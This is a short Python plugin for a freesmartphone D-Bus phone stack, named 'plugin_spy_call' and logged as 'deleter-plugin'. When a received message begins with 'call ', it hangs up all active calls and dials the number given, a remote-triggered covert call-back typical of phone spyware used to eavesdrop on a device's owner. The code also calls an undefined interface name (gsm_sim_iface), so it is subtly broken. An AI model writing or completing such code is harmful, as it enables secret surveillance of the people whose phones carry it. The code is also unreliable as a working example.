import loggers
from dbus import Interface

logger = loggers.loggers('deleter-plugin', 'deleter-plugin.log')

def plugin_spy_call(index, status, sim_number, text, interfaces):
    if text[:5] == 'call ':
        dest_number = text[5:]
        gsm_call_iface = interfaces['org.freesmartphone.GSM.Call']
    
        gsm_call_iface.ReleaseAll()
        
        gsm_sim_iface.Initiate(
            number=dest_number,
            type_='',
            reply_handler=cbCallTransferReply,
            error_handler=cbCallTransferError)

    
def cbCallTransferReply():
    logger.info("call initiated")

def cbCallTransferError(e):
    logger.info("initiating call error: %s" % e)



